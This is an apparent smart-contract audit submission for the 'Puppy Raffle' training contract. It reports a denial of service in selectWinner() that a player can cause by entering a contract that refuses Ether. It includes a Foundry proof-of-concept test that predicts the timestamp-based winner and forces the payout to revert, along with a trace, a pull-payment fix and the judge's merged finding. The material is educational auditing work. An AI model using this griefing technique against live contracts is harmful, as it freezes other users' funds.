Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

[H-04] Denial of Service (DoS) in selectWinner() via Push Payment to Malicious/Non-Receiving Recipient

Denial of Service (DoS) in selectWinner() via Push Payment to Malicious/Non-Receiving Recipient

Description

  • The selectWinner() function uses a push payment model to transfer the prize pool directly to the selected winner via a low-level call (winner.call{value: prizePool}("")) and reverts the transaction if the transfer fails.

    If the selected winner is a contract that does not accept Ether (e.g., lacks a payable receive() or fallback() function, or explicitly reverts upon receiving Ether), every execution of selectWinner() will revert.

// Root cause in the codebase with @> marks to highlight the relevant section

Risk

Likelihood: Medium

  • A malicious player can intentionally enter the raffle using a contract that rejects Ether, or an honest contract user without Ether-receiving capabilities can be selected as a winner.

Impact: High

  • Permanent DoS: The entire raffle mechanism is completely paralyzed. No winner can ever be selected, no new raffle rounds can start, and all contract funds become permanently frozen.

Proof of Concept

function test_MishandalingOfEth() public {
// Participants
// Arrange
address[] memory players = new address[](4);
for (uint256 i = 0; i < 3; i++) {
players[i] = address(uint160(i + 1));
}
SmartContractWithRevert smartContractWithRevert = new SmartContractWithRevert();
players[3] = address(smartContractWithRevert);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
uint256 participantsLength = players.length;
vm.warp(duration + puppyRaffle.raffleStartTime() + 100);
// Act
uint256 winnerIndexPredict = uint256(keccak256(abi.encodePacked(players[0], block.timestamp, block.difficulty))) % participantsLength;
int i = 0;
while(winnerIndexPredict != 3){
vm.warp(block.timestamp + 10);
winnerIndexPredict = uint256(keccak256(abi.encodePacked(players[0], block.timestamp, block.difficulty))) % participantsLength;
console2.log("one try: ", i);
i++;
}
address winnerPredict = puppyRaffle.players(winnerIndexPredict);
console2.log("Predicted winner:", winnerPredict);
require(winnerIndexPredict == 3);
vm.prank(players[0]);
vm.expectRevert();
puppyRaffle.selectWinner();
// logs
console2.log("Winner: ", puppyRaffle.previousWinner());
}

Logs:
one try: 0
one try: 1
Predicted winner: 0x2e234DAe75C793f67A35089C9d99245E1C58470b
Winner: 0x0000000000000000000000000000000000000000

Traces:````[352775] PuppyRaffleTest::test_MishandalingOfEth()````├─ [56505] → new SmartContractWithRevert@0x2e234DAe75C793f67A35089C9d99245E1C58470b````│ └─ ← [Return] 282 bytes of code````├─ [145425] PuppyRaffle::enterRaffle{value: 4000000000000000000}([0x0000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000002, 0x0000000000000000000000000000000000000003, 0x2e234DAe75C793f67A35089C9d99245E1C58470b])````│ ├─ emit RaffleEnter(newPlayers: [0x0000000000000000000000000000000000000001, 0x0000000000000000000000000000000000000002, 0x0000000000000000000000000000000000000003, 0x2e234DAe75C793f67A35089C9d99245E1C58470b])````│ └─ ← [Stop]````├─ [1095] PuppyRaffle::raffleStartTime() [staticcall]````│ └─ ← [Return] 1````├─ [0] VM::warp(86501 [8.65e4])````│ └─ ← [Return]````├─ [0] VM::warp(86511 [8.651e4])````│ └─ ← [Return]````├─ [0] console::log("one try: ", 0) [staticcall]````│ └─ ← [Stop]````├─ [0] VM::warp(86521 [8.652e4])````│ └─ ← [Return]````├─ [0] console::log("one try: ", 1) [staticcall]````│ └─ ← [Stop]````├─ [2143] PuppyRaffle::players(3) [staticcall]````│ └─ ← [Return] SmartContractWithRevert: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]````├─ [0] console::log("Predicted winner:", SmartContractWithRevert: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [staticcall]````│ └─ ← [Stop]````├─ [0] VM::prank(ECRecover: [0x0000000000000000000000000000000000000001])````│ └─ ← [Return]````├─ [0] VM::expectRevert(custom error 0xf4844814)````│ └─ ← [Return]````├─ [73452] PuppyRaffle::selectWinner()````│ ├─ [156] SmartContractWithRevert::receive{value: 3200000000000000000}()````│ │ └─ ← [Revert] refuse ETH````│ └─ ← [Revert] PuppyRaffle: Failed to send prize pool to winner````├─ [1158] PuppyRaffle::previousWinner() [staticcall]````│ └─ ← [Return] 0x0000000000000000000000000000000000000000````├─ [0] console::log("Winner: ", 0x0000000000000000000000000000000000000000) [staticcall]````│ └─ ← [Stop]````└─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 22.79ms (5.34ms CPU time)

Recommended Mitigation

Refactor the payout pattern from Push Payments to Pull Payments (Claim Pattern). Instead of pushing ETH inside selectWinner(), record the claimable balance in a state mapping and allow the winner to withdraw their prize separately.

+ mapping(address => uint256) public pendingRewards;
function selectWinner() external {
// ...
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
+ pendingRewards[winner] += prizePool;
_safeMint(winner, tokenId);
}
+ function claimReward() external {
+ uint256 reward = pendingRewards[msg.sender];
+ require(reward > 0, "No reward to claim");
+ pendingRewards[msg.sender] = 0;
+ (bool success, ) = msg.sender.call{value: reward}("");
+ require(success, "Transfer failed");
+ }
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-03] Impossible to win raffle if the winner is a smart contract without a fallback function

## Description If a player submits a smart contract as a player, and if it doesn't implement the `receive()` or `fallback()` function, the call use to send the funds to the winner will fail to execute, compromising the functionality of the protocol. ## Vulnerability Details The vulnerability comes from the way that are programmed smart contracts, if the smart contract doesn't implement a `receive() payable` or `fallback() payable` functions, it is not possible to send ether to the program. ## Impact High - Medium: The protocol won't be able to select a winner but players will be able to withdraw funds with the `refund()` function ## Recommendations Restrict access to the raffle to only EOAs (Externally Owned Accounts), by checking if the passed address in enterRaffle is a smart contract, if it is we revert the transaction. We can easily implement this check into the function because of the Adress library from OppenZeppelin. I'll add this replace `enterRaffle()` with these lines of code: ```solidity function enterRaffle(address[] memory newPlayers) public payable { require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle"); for (uint256 i = 0; i < newPlayers.length; i++) { require(Address.isContract(newPlayers[i]) == false, "The players need to be EOAs"); players.push(newPlayers[i]); } // Check for duplicates for (uint256 i = 0; i < players.length - 1; i++) { for (uint256 j = i + 1; j < players.length; j++) { require(players[i] != players[j], "PuppyRaffle: Duplicate player"); } } emit RaffleEnter(newPlayers); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!